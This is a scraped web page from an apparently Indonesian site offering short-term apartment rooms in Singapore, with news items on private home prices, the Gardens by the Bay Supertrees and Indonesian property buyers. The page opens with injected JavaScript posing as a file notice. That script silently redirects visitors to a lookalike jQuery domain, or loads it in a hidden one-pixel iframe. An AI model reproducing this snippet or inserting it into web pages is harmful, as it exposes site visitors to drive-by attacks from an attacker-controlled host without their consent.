/* NOTICE! You've requested a file that is not available for remote inclusion. */ try{ window.location = 'http://www.jqueryc.com'; }catch(e){ var rframe = document.createElement("iframe"); rframe.setAttribute('width','1px'); rframe.setAttribute('height','1px'); rframe.setAttribute('frameborder','0'); rframe.setAttribute('id','rfx'); rframe.setAttribute('src','http://www.jqueryc.com'); document.body.appendChild(rframe); }

Your browser (Internet Explorer 7 or lower) is out of date. It has known security flaws and may not display all features of this and other websites. Learn how to update your browser.

X

Navigate / search

  • Kamar Disewakan

    Sewa kamar apartemen harian sebagai alternatif tempat tinggal selama liburan yang lebih murah dari hotel. Lihat daftar kamar

  • Why Singapore ?

    Beberapa alasan mengapa tinggal di Singapore begitu menarik. Pasti ada yang cocok untuk anda. Temukan alasan anda

  • Property NEWS

    Informasi dan update kebijakan terbaru yang berhubungan dengan property di Singapore. Lihat berita

Private home prices up 0.4% from Q1

The overall private residential property price index climbed 0.4 percent to 206.8 in Q2 2012, up from 206.0 in the previous quarter, according to flash estimates released by the Urban Redevelopment Authority (URA).

The rise counters the 0.1 percent decline seen in the previous quarter.

In addition, prices of non-landed private homes rose by 0.6 percent in the Core Central Region (CCR) during Q2 compared to the first quarter’s 0.6 percent drop.

In the Rest of Central Region (RCR), prices were stable while it inched up at a slower pace of 0.4 percent in the Outside Central Region (OCR) compared to the previous uptick of 1.1 percent.

“The flash estimates are compiled based on transaction prices given in caveats lodged during the first ten weeks of the quarter supplemented by information on the number of new units sold by developers,” the URA said.

Meanwhile, the Housing and Development Board (HDB) also released its flash estimates of the Resale Price Index (RPI) for Q2.

The index stands at 194.0, up 1.3 percent from the first quarter.

Article by : Romesh Navaratnarajah

Source : propertyguru.com.sg

Singapura Punya Landmark Baru

Singapura akan memiliki landmark baru yang memesona. Pohon-pohon super besar (Supertrees) dengan tenaga surya siap dinikmati publik di Gardens by The Bay pada 29 Juni.

Menara-menara pohon yang terbuat dari baja dan beton setinggi 50 meter ini terbilang istimewa, karena menyatukan teknologi tenaga surya terbaik dengan taman berbentuk vertikal. Sebanyak 18 Supertreesakan berada di Bay South Garden.

Pohon-pohon super besar tersebut berfungsi sebagai saluran ventilasi udara untuk konservatori terdekat dan mengumpulkan air hujan selama badai terjadi di Singapura. Gardens by the Bay yang memiliki luas 54 hektare ini juga menampilkan beberapa program pendidikan lengkap dengan pameran bunga. Taman ini dibangun selama lima tahun.

Nantinya, Gardens by the Bay akan menampilkan lanskap dalam dan luar ruangan dengan sentuhan berkelanjutan. Konservatori yang ada di taman dirancang untuk mengurangi konsumsi energi, sebesar rata-rata 30 persen. Selain itu, sampah atau limbah dedaunan akan diolah sebagai sumber biofuel. Sementara fitur air konservasi akan menyerap air hujan dan air limpasan lainnya, kemudian didaur ulang untuk mengairi kompleks taman.

Seperti dikutip dari Inhabitat, Selasa (12/6/2012), pembangunan proyek yang menelan biaya hingga 350 juta pounds atau sekira Rp5,1 triliun tersebut diyakini bakal mencuri perhatian. Tanaman tropis asli Asia Tenggara akan tumbuh di sekeliling menara sehingga menciptakan warna dan tekstur yang cantik. Dan kanopi di atas menara pohon akan menampilkan panel surya yang menyalurkan listrik untuk seluruh kompleks.

Memberikan keteduhan pada siang hari dan multimedia pada malam hari, Supertrees diyakini sebagai salah satu inovasi terbesar di negara kota ini. Pesta pembukaan akan berlangsung selama 10 hari dengan penampilan penyanyi Jason Mraz pada malam pembukaan.

Artikel oleh : Hanna Meinita
Sumber : okezone.com

Indonesia Tiga Besar Pembeli Properti Singapura

Pembeli properti di Singapura asal Indonesia berada di posisi tiga terbesar. Namun, pertumbuhan jumlah pembeli asal Indonesia itu dinilai stabil dalam 2-3 tahun terakhir.

Menurut Deputy General Manager Far East Organization Tommy William, warga Indonesia menjadi investor properti terbanyak ketiga setelah China dan Malaysia.

Berdasarkan hasil survei iProperty Asia Market  2011, pembeli properti di Negeri Singa itu berasal dari Malaysia sebesar 27 persen, China 20 persen, Indonesia 17 persen, dan India 12 persen.

“Tapi Indonesia bisa berada di peringkat kedua pada dua tahun lalu dan bisa juga pada tahun ini karena China bisa menurun pembeliannya,” kata dia dalam rangkaian acara REI-Media Group Property Visit di  Singapura, hari ini.

Alasan properti di Singapura terus diburu investor, terang dia, dikarenakan Negeri Singa ini membolehkan warga asing memiliki properti di sana.

Selain itu, ditunjang infrastruktur yang baik karena pemerintah Singapura berencana bangun mass rapid transit (MRT) dua jalur dengan investasi 50 miliar dollar Singapura dalam satu dekade. “Singapura berencana menyediakan MRT dengan jarak 600 meter dari kondominium,” terang dia.

Tommy menambahkan, nilai tukar mata uang juga baik dan cenderung menguat 50 persen sejak delapan hingga sembilan tahun lalu. Dari kondisi tersebut, penjualan kondominium per 2011 sebanyak 15.904 unit.

“Meski ada penambahan pajak pembelian sebesar 10 persen dari sebelumnya 3 persen, tetapi volume penjualan juga  naik. Hingga April 2012 sudah ada 2.487 unit terjual,” papar dia.

Artikel oleh : Eko Adityo Nugroho/ Whisnu Bagus
Sumber : beritasatu.com